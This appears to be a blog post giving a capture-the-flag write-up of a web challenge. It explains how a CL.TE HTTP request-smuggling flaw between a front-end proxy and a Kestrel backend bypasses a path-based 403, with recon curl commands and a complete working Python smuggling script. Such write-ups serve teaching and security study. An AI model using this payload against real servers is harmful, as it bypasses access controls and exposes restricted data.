DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

BrunnerCTF 2026 - Welcome Aboard (Web)

Summary

The Brunnerne Inc. internal wiki sits behind layered infrastructure. Direct access to /wiki/internal/flag (hinted by robots.txt) returns a hard 403 Access is forbidden. from Kestrel. The platform, however, accepts both Content-Length and Transfer-Encoding: chunked on the same request. A classic CL.TE request-smuggling payload lets the front-end treat the whole thing as a single POST while Kestrel finishes the empty chunk and then processes a second, smuggled GET /wiki/internal/flag. That internal request bypasses the path-based forbid and returns the restricted article containing the flag.

Flag: brunner{00ps_th4t_p4g3_w4s_1nt3rn4l}

Recon

BASE=https://welcome-aboard-3df87e778cd2e6a3-global.challs.brunnerne.xyz:1337
curl --http1.1 -s "$BASE/"
curl --http1.1 -s "$BASE/robots.txt"
Enter fullscreen mode Exit fullscreen mode

robots.txt is the only interesting early signal:

User-agent: *
Disallow: /wiki/internal/flag
Enter fullscreen mode Exit fullscreen mode

Direct access yields a minimal 403:

curl --http1.1 -sI "$BASE/wiki/internal/flag"
# HTTP/1.1 403 Forbidden
# Content-Type: text/plain
# Content-Length: 21
# Access is forbidden.
Enter fullscreen mode Exit fullscreen mode

The public wiki is a simple ASP.NET Core (Kestrel) application with a handful of static articles and a POST /search endpoint. Path-normalization, case variation, double-encoding, matrix parameters, and common header overrides all still return 403. The challenge description explicitly mentions “multiple layers of infrastructure” and that “every chunk reaches the backend, exactly as expected” — a strong pointer toward HTTP request smuggling.

Vulnerability

Front-end and Kestrel disagree on request framing when both Content-Length and Transfer-Encoding: chunked are present:

  • The proxy trusts Content-Length and consumes the entire body as one request.
  • Kestrel prefers Transfer-Encoding: chunked, terminates at the first 0\r\n\r\n, and treats any subsequent bytes as a brand-new request on the same keep-alive connection.

Because the second request never passes through the external path-authorization middleware, /wiki/internal/flag is served.

Exploitation (CL.TE)

import ssl, socket, time

HOST = "welcome-aboard-3df87e778cd2e6a3-global.challs.brunnerne.xyz"
PORT = 1337

def send_raw(req: bytes) -> str:
    ctx = ssl.create_default_context()
    with socket.create_connection((HOST, PORT), timeout=10) as raw:
        with ctx.wrap_socket(raw, server_hostname=HOST) as s:
            s.sendall(req)
            time.sleep(2)
            buf = b""
            s.settimeout(3)
            while True:
                try:
                    chunk = s.recv(4096)
                    if not chunk:
                        break
                    buf += chunk
                except OSError:
                    break
    return buf.decode(errors="replace")

smuggled = (
    "GET /wiki/internal/flag HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "Connection: close\r\n"
    "\r\n"
)
body = "0\r\n\r\n" + smuggled
cl = len(body)

req = (
    "POST /search HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {cl}\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Connection: keep-alive\r\n"
    "\r\n"
) + body

print(send_raw(req.encode()))
Enter fullscreen mode Exit fullscreen mode

The response contains the normal search-results page (first request) followed by the internal article (smuggled request):

...
<div class="breadcrumb">Help Center / Q4 Payroll Notes (Internal)</div>
<main class="card">
<h1>Q4 Payroll Notes (Internal)</h1>
...
<p>These notes are for the payroll team only and are not linked from the public wiki.
Flag: brunner{00ps_th4t_p4g3_w4s_1nt3rn4l}</p>
...
Enter fullscreen mode Exit fullscreen mode

Key points

Component Behavior
Proxy / front-end Honors Content-Length, ignores (or does not fully process) Transfer-Encoding
Kestrel Honors Transfer-Encoding: chunked, terminates at 0\r\n\r\n
Path authorization Applied only to requests that arrive through the normal external pipeline
Smuggled request Arrives as an already-accepted keep-alive request → bypasses the forbid

Attack chain

robots.txt Disallow: /wiki/internal/flag
        |
        v
Direct GET → 403 “Access is forbidden.”
        |
        v
CL.TE smuggle:
  POST /search  (Content-Length + Transfer-Encoding: chunked)
  body = “0\r\n\r\n” + “GET /wiki/internal/flag …”
        |
        v
Proxy sees one request; Kestrel sees two
        |
        v
Second request reaches internal article
        |
        v
Flag disclosed
Enter fullscreen mode Exit fullscreen mode

Top comments (0)